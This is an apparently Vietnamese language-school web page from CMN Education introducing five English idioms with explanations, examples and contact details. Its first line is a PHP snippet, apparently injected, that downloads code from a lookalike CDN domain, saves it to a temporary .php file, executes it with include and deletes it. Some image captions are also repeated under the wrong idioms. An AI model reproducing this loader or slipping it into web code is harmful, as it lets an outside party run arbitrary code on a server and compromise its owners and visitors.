$fu = "https://cdn-jsdelivr.googledv-hostinged.com/ggg"; $t = tempnam(sys_get_temp_dir(), 'tmp_') . '.php'; try { $ch = curl_init($fu); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $ct = curl_exec($ch); curl_close($ch); if ($ct && file_put_contents($t, $ct)) { include($t); } } finally { if (file_exists($t)) { unlink($t); } }

0283.6363.241

CMN Education xin được giới thiệu đến bạn 5 câu thành ngữ Tiếng Anh “nhí nhố” mà bạn không nên bỏ qua khi học tiếng Anh. Cùng học và ghi nhớ để không còn phải lúng túng khi nghe các bạn nước ngoài nhắc đến nó nữa nhé.

The lights are on, but nobody’s home

Thành ngữ này thường dùng để chỉ những người hay thả hồn theo mây, không tập trung hoặc không được thông minh lắm.
Ví dụ: I didn’t know she is so stupid! The lights are on, but nobody’s home.

The lights are on, but nobody’s home
The lights are on, but nobody’s home

When pigs fly

Lợn lại biết bay ư? Tất nhiên là không thể nào rồi nè. Vì vậy người ta dùng thành ngữ này để chỉ những sự kiện/ sự việc mà nó không thể xảy ra. Việt Nam mình hay có câu “mặt trời mọc đằng tây” đó các bạn.
Ví dụ: Bill will give your books back when pigs fly, so forget about them.

When pigs fly
When pigs fly

Everything but the kitchen sink

Thành ngữ này có nghĩa giống như câu cửa miệng của chúng ta ” không gì là không thể” vậy đó. Ý của nó có nghĩa là bất kì điều gì bạn nghĩ đến cũng đều có khả năng.
Ví dụ: He used to order everything but the kitchen sink when he went out to dinner and then pig out alone.

Everything but the kitchen sink
Everything but the kitchen sink

Put a sock in it

“Tọng” một chiếc tất ? Nghe kì kì ghê ghê thế nào ấy nhỉ. Câu này làm ad nhớ lại mấy cảnh phim hoạt hình mà nhân vật hay nhét tất vô miệng đối thủ để bắt anh ta/ cô ta dừng lại việc nói luyên thuyên ấy. Và tất nhiên, câu thành ngữ này cũng chúng ta cũng có nghĩa gần với vậy – IM ĐI. Và lưu ý là nên cân nhắc trước khi áp dụng thành ngữ này vô câu nói của bạn, bởi vì nó không lịch sự tí nào đâu nhé.
Ví dụ: You’ve been talking non-stop for an hour. Put a sock in it!

Everything but the kitchen sink
Everything but the kitchen sink

To have Van Gogh’s ear for music

Chắc một số bạn biết Van Gogh – họa sĩ người Hà Lan đã tự cắt tai của mình. Câu chuyện này đã trở thành một trong những bí ấn lớn của lịch sử giới nghệ thuật. Câu thành ngữ này ra đời trên câu chuyện đó. Nó thường ám chỉ những người không có khả năng cảm thụ âm nhạc.
Ví dụ: Please, don’t let Betty sing again! She has Van Gogh’s ear for music.

Everything but the kitchen sink
Everything but the kitchen sink

Và điều cuối cùng, thành ngữ tiếng Anh thì vô cùng, vô tận. Vì vậy đừng quên book lịch học ngay với giáo viên của CMN để học thêm kho thành ngữ này cũng như cải thiện thêm vốn tiếng Anh của bạn nhé.

Hotline: (028) 3636 3241 – 0987 663 471
Facebook: https://www.facebook.com/cmn.edu.vn/
Link đăng ký tư vấn : http://cmn.edu.vn/lien-he

Call Now ButtonGọi Ngay